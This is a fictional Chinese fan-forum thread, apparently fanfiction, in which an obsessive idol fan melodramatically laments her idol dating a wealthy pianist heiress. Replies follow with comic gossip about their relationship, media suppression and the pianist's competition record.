可是老公啊,为什么你会和那个女人在一起? 我看见你们牵手在汉江散步,看见那个女人一伸手你就比狗还要听话的低头,看见她只用口罩贴了一下你的口罩你就恨不得把尾巴摇成螺旋桨。 老公,你知道你在干什么吗??? 我是你老婆对吧??我应该不是什么很贱的人吧?你为什么要让我看到这些!!! 老公,虽然去年我一直喊你是最可爱的小狗狗,但真的真的真的没有想让你做某人的舔狗啊! 你们在便利店甜蜜约会的时候,有没有想过你恨不得用湿巾擦八百遍桌子的背影真的很狼狈啊?!! 好,我安慰自己,我老公有洁癖,是这个世界上最爱干净的男人。 那你告诉我,为什么被她咬过一口嫌弃不肯吃的三明治你能吃得比在节目上表现得还要开心啊?你的豆德呢?你不是最会综艺效果的爱豆吗!! 老公。。。我恨你!! 从回来到现在,我哭了三个小时。 老公,我真的快死了你知道吗? 他们都说你是南韩第一赘婿,他们都说当你的梦女粉是圈子里最低级的粉丝。 以前我不信,现在我懂了。 在舞台上装出一副浪荡子的人设,什么东亚乖乖女的第一支烟, 结果你背着我偷偷去做东亚乖乖女的舔狗!! 老公啊,虽然你背叛了我,但是我还是好爱你啊呜呜呜呜。 对了老公,听说你现在住在瑞草洞是吗?真好啊,政商名流居住的黄金富人区,当了大小姐十年舔狗总算实现阶级跃升了。 祝贺你啊老公!!!对了,你现在具体住的是哪一个别墅区啊? 我真的很爱你,我也没有别的意思,更没有带刀过来,所以你能给我开门吗?我真的只是想最后见你一面呜呜呜呜! ———— 1L: 好哈哈哈哈哈哈哈看到第一赘婿喵姐 2L: 好笑吗?我只看到了一个绝望的梦女 3L: 虽然很惨哈哈哈哈但是怎么还会有人这么想不开去做他梦女啊?他刚出道不是就被爆出来和大小姐从高中就开始谈了 4L: 哪个大小姐? 5L: 哈哈哈哈毕竟有小半年没见了,小别胜新婚,理解一下 6L: 东亚乖乖女的第一支烟私底下偷偷去当东亚乖乖女的舔狗 哈哈哈哈哈哈俺真的不中咧!! 7L: 天天叫他最可爱的小狗,现在他真做狗了你又不乐意(撇嘴 8L: 你们都在笑,只有我在哭 玛德真让他给舔到了,凭什么啊!! 9L: 回复4L 能不能自己去组里看看,我真的不想义务教育了!! 10L: 听说南韩论坛带那位大名的帖子都会被删掉,真假啊? 11L: 楼上你去搜一下N站P站C站投资商列表里都有谁就知道答案了。 12L: 也没必要这么绝望吧,这不是一直没有媒体爆出来吗? 乾坤未定,你我皆是嫂子(狗头叼玫瑰 13L: 楼上你再看看南韩几大八卦杂志社的投资商都有谁呢(狗头叼玫瑰 14L: 笑死,难怪KJY和LYS谈了这么多年也没一家媒体爆恋情瓜 15L: 准确来说是不能带LYS的名字 16L: 前几年D社不是拍到了两人的照片吗?那次应该也算吧 17L: 后面都没到半年D社不就被收购了? 18L: D社:哈哈,我们拍到KJY和LSY的照片,独家拿下! 李在叙:你现在再看看呢?(玫瑰 19L: 我勒个父爱钞の力啊 20L: “女儿是妻子留在这个世界上最宝贵的遗物” 这句话的含金量还在上升 21L: 这件事最搞笑的是D社把照片发出去以后小韩那边的舆论评价—— 小韩网友:能不能发点我们不知道的事情看看? 22L: D社:已C8 Shake it啊!把老子当日本人整是吧?! 23L: 那么问题来了,既然没有家媒体敢爆 他们的恋情是怎么被挖出来的啊? 24L: 。。。。SS 以及某人蠢蠢欲动的jeff瘾 25L: KJY:日子怎么可能跟谁过都一样呢?(星星眼 26L: KJY:如果你知道我谈了LYS你也会觉得我很好命(狗头叼玫瑰 27L: KJY(伸出右手):人生は掌を反す如し! 28L:回复27L 君の立本语本当上手 29L: KJY的jeff瘾是真的大 我还记得他当时在综艺里一口一个女亲演豆不演了 30L: 谁懂唯粉去年在看话神时的崩溃感!!! 小小的老子在屏幕前原地化身可云表情包—— 啊?啊!(窒息)谁来救救我?KJY到底是我疯了还是你疯了?!!(崩溃尖叫)(吸氧)(翻白眼) 31L: 路人+1 (袁丽表情包)啊?这是可以说的吗?! 32L: 没看过有没有友友repo一下 33L: 根本po不完!整场节目基本都在cue 关键KJY说完还龇个大牙 看给他美的 金熙善:女亲最近回来了吗? 申东烨:听说在什么白房子演出啊 金熙善:阿尼呀,是白宫啊白宫 KJY:内 说完以后就低头捂脸傻笑 怎么,女朋友在白宫给总统就职典礼演奏把你小子给美到了是吧?是你弹的吗你就在那傻乐 34L: 还有最经典的那段—— 金熙善:怎么确定关系? KJY:把人带到朋友面前揽着肩膀直接说这是我女朋友 金熙善:那做过几次,成功了吗? KJY:做过一次,被痛骂了一顿,教训得很惨 金熙善:那后来呢? KJY:关心她,体贴她,纵容她,做她唯一的好朋友,然后哭着求她和我交往 哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哄堂大笑了家人们 35L: 台上Daddy台下Puppy(舌头灵活版) 就。。。怎么不算是一种反差萌呢? 36L: 舌头灵活。。(小脸通黄) 37L: 我记得他早几年还有稍微装一下的吧 38L: 他早年真的还不是这样的。。 不过可能有两个原因 一个是因为最开始那几年刚出道 还有一个就是11年那次被举报XD事件这俩人的名字都被放在一起了 大家都扒出来他们是高中同桌并且好像悄悄有在谈 完全没有瞒的必要了吧 39L: 我勒个出道自带嫂啊。。。 40L:回复38L 11年那次!!害得他被网暴得有多惨啊?!!永远不会原谅那个女人的!! 41L: 楼上ldjj收收味,差不多得了 不是后面澄清了压根就是造谣吗 岳父大人专门开了新闻发布会还发动了父爱の钞之力了 还想怎么样啊? 42L: 又一家新闻报社の坠落(悲 43L: 楼上ldjj确定不要这个嫂子吗? 那我家诚心接! 一想到我家有一个长得漂亮还不作妖的大艺术家嫂子 对家也会觉得我好运的! 44L: 不过话又说回来,她的水平到底怎么样啊? 诚心发问 45L: 南韩历史上第一个日内瓦肖赛柴赛大满贯冠军 在此之前南韩从未在钢琴方面有过任何荣誉 甚至她14岁就拿了日内瓦公开赛的冠军 现在依旧是官方最年轻的记录保持者 这么说吧,就算是她现在骑在韩国总统头上上厕所估计南韩网友都会体谅人有三急的程度 46L: 楼上比喻得也太糙了吧!! 47L: 赛事上的成绩还是其次她的录音质量是真的很高的。。 出道莫扎特那张录音就是留声机三星带花+企鹅三星+金音叉大满贯 很多演奏家一生都没办法拿到那么多成就 人家20岁不到已经都拿完了 48L: 说个更缺德的 KJY还没拿过格莱美呢人家格莱美的奖杯已经够批发的了 虽然格莱美的古典乐部门一向不太权威就是了。。。 49L: 所以说真的很好奇啊就这嫂子ldjj到底还有哪里不满?? 真要找个仙女啊? 50L: 错误的,不客观的,就算找个仙女也会有ldjj们挑刺 Tour上:欧巴你一定要幸福啊 实际上:欧巴你也别太幸福了,你幸福了我怎么办啊?!!(爆哭 51L: 哈哈哈哈哈哈哈哈俺真不中咧!